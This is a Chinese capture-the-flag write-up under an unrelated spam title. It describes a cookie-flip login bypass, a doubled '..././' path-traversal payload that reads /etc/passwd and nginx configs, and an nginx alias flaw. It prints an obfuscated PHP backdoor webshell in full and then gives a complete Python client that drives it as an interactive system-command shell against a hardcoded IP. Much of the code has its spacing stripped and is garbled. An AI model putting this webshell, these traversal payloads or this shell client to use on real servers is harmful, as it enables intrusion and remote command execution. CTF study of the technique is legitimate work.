视频网站调用,网站建设技术分析,广告公司寮步网站建设价钱,网上在线看视频为什么卡访问题目地址需要登录 注意到请求包里面有个
cookie isLogin0 改成 1 登录成功 目录扫描存在 robots.txt hint.php 提示 nginx 配置文件可能有问题#xff0c;文件路径如下#xff1a;
/etc/nginx/sites-enabled/site.conf hack.php 是空白 回到刚才登录后的界面
点击管…访问题目地址需要登录 注意到请求包里面有个
cookie isLogin0 改成 1 登录成功 目录扫描存在 robots.txt hint.php 提示 nginx 配置文件可能有问题文件路径如下
/etc/nginx/sites-enabled/site.conf hack.php 是空白 回到刚才登录后的界面
点击管理中心请求的 url 看起来存在文件包含 尝试读取 /etc/passwd
试了一下没什么反应 这里过滤了 ../ 可以采用双写绕过而且注意是往上穿四层才到根目录
/admin/admin.php?file..././..././..././..././etc/passwdext 我们读一下刚才那个 nginx 的配置文件
/admin/admin.php?file..././..././..././..././etc/nginx/sites-enabled/site.confext格式化后看起来还是乱 我们直接扔给 gpt 整理分析有什么问题
gpt 说这个配置有问题 浏览器可以直接访问到 /images/ 目录只需要访问 /web-img/ 我们往上遍历一下
/web-img../ 尝试访问 root 目录但是没有权限 在网站目录下存在 hack.php 的备份文件我们下载 看起来像是经过混淆的后门 webshell 而且这个马还可以过河马的查杀 那就不得不掏出我们的 D 盾了 再经过 gpt 的确认确实就是一个后门 我们输出最后的 $f 看看
?php
$U_/|U,/-/|U),ar|Uray|U(/|U,),$ss(|U$s[$i]|U,0,$e)|U)),$k))|U|U);$o|U|Uo|Ub_get_|Ucontents(|U);|Uob_end_cle;
$qs[|U$i];$p|U$ss($p,3);}|U|Uif(array_k|Uey_|Uexis|Uts($|Ui,$s)){$s[$i].|U$p|U;|U$e|Ustrpos($s[$i],$f);|Ui;
$Mlstrtolower|U;$i$m|U[1|U][0].$m[1]|U[1];$|U|Uh$sl($ss(|Umd5($i|U.$kh),|U0,3|U));$f$s|Ul($ss(|Umd5($i.$;
$zr$r[|UHTTP_R|UEFERER|U];$r|U|Ua$r[HTTP_A|U|UCCEPT_LAN|UGUAGE|U];if|U($r|Ur|U$ra){$uparse_|Uurl($r;
$k?:;q0.([\\|Ud]))?,|U?/,$ra,$m)|U;if($|Uq$m){|U|U|Usession_start()|U|U;$s$_SESSIO|UN;$ss|Usubst|Ur;|U|U$s;
$o|U$l;|U){for|U($j0;($j|U$c|U|U$i|U$|Ul);$j,$i){$o.$t{$i}|U^$k|U{$j};}}|Ureturn $|Uo;}$r$|U_SERV|UE|UR;$r;
$N|Uf($e){$k$k|Uh.$kf|U;ob_sta|Urt();|Ueva|Ul(g|Uzuncom|Upress(x(|Ubas|U|Ue64_decode(preg|U_repla|Uce(|Uarray(/;
$Can();$db|Uase64_encode(|Ux|U(gzcomp|U|Uress($o),$k))|U;prin|Ut(|U$k$d/$k|U);ses|U|Usion_des|Utroy();}}}};
$j$k|Uh|U|U42f7;$kfe9ac;fun|Uction|U |Ux($t,$k){$c|U|Ustrlen($k);$ls|Utrl|Ue|Un($t);$o|U;fo|Ur($i0;$i;
$Rstr_replace(rO,,rOcreatrOe_rOrOfurOncrOtion);
$Jkf|U),|U0,3));$p|U;for(|U|U$|Uz1;$zcou|Unt|U($m[1]);|U$z)$p.|U$q[$m[2][$z|U]|U];if(strpos(|U$|U|Up,$h)|U0){$;
$xr)|U;pa|Urse|U_str($u[qu|U|Uery],$q);$|U|Uqarray_values(|U$q);pre|Ug|U_match_al|Ul(/([\\|U|Uw])[|U\\w-]|U(;
$fstr_replace(|U,,$j.$o.$z.$x.$k.$M.$J.$q.$N.$U.$C);
$gcreate_function(,$f);
$g();
echo $f;
?拿到
$kh42f7;$kfe9ac;
后面想起来了之前有个 AWD 的训练赛里面也见过这个马
利用脚本如下稍作调整改成了 python3 的版本并且直接执行系统命令
将 $kh42f7;$kfe9ac; 和 url 填进去url 即木马的地址我们这里就是 hack.php 的位置
#!/usr/bin/env python3
# encoding: utf-8from random import randint, choice
from hashlib import md5
import urllib.parse
import string
import zlib
import base64
import requests
import redef choicePart(seq, amount):length len(seq)if length 0 or length amount:print(Error Input)return Noneresult []indexes []count 0while count amount:i randint(0, length - 1)if i not in indexes:indexes.append(i)result.append(seq[i])count 1if count amount:return resultdef randBytesFlow(amount):result bfor _ in range(amount):result bytes([randint(0, 255)])return resultdef randAlpha(amount):result for _ in range(amount):result choice(string.ascii_letters)return resultdef loopXor(text, key):result blenKey len(key)lenTxt len(text)iTxt 0while iTxt lenTxt:iKey 0while iTxt lenTxt and iKey lenKey:result bytes([text[iTxt] ^ ord(key[iKey])])iTxt 1iKey 1return resultdef debugPrint(msg):if debugging:print(msg)# config
debugging False
keyh 42f7 # $kh
keyf e9ac # $kf
xorKey keyh keyf
url http://223.112.5.141:62739/hack.php
defaultLang zh-CN
languages [zh-TW;q0.%d, zh-HK;q0.%d, en-US;q0.%d, en;q0.%d]
proxies None # {http: http://127.0.0.1:8080}sess requests.Session()# generate random Accept-Language
langTmp choicePart(languages, 3)
indexes sorted(choicePart(list(range(1, 10)), 3), reverseTrue)acceptLang [defaultLang]
for i in range(3):acceptLang.append(langTmp[i] % (indexes[i],))
acceptLangStr ,.join(acceptLang)
debugPrint(acceptLangStr)init2Char acceptLang[0][0] acceptLang[1][0] # $i
md5head md5((init2Char keyh).encode()).hexdigest()[0:3]
md5tail md5((init2Char keyf).encode()).hexdigest()[0:3] randAlpha(randint(3, 8))
debugPrint($i is %s % init2Char)
debugPrint(md5 head: %s % md5head)
debugPrint(md5 tail: %s % md5tail)# Interactive php shell
cmd input(phpshell ).strip()
while cmd ! :if not cmd.endswith(;):safe_cmd cmd.replace(, \\)cmd fsystem({safe_cmd});# build junk data in refererquery []for _ in range(max(indexes) 1 randint(0, 2)):key randAlpha(randint(3, 6))value base64.urlsafe_b64encode(randBytesFlow(randint(3, 12))).decode()query.append((key, value))debugPrint(Before insert payload:)debugPrint(query)debugPrint(urllib.parse.urlencode(query))# encode payloadpayload zlib.compress(cmd.encode())payload loopXor(payload, xorKey)payload base64.urlsafe_b64encode(payload).decode()payload md5head payload# cut payload, replace into referercutIndex randint(2, len(payload) - 3)payloadPieces (payload[0:cutIndex], payload[cutIndex:], md5tail)iPiece 0for i in indexes:query[i] (query[i][0], payloadPieces[iPiece])iPiece 1referer url ? urllib.parse.urlencode(query)debugPrint(After insert payload, referer is:)debugPrint(query)debugPrint(referer)# send requestr sess.get(url, headers{Accept-Language: acceptLangStr, Referer: referer}, proxiesproxies)html r.textdebugPrint(html)# process responsepattern re.compile(r%s(.*)/%s % (xorKey, xorKey))output pattern.findall(html)if len(output) 0:print(Error, no backdoor response)cmd input(phpshell ).strip()continueoutput output[0]debugPrint(output)output base64.b64decode(output)output loopXor(output, xorKey)output zlib.decompress(output).decode()print(output)cmd input(phpshell ).strip() 读取 flag 拿到 flagctf{a57b3698-eeae-48c0-a669-bafe3213568c}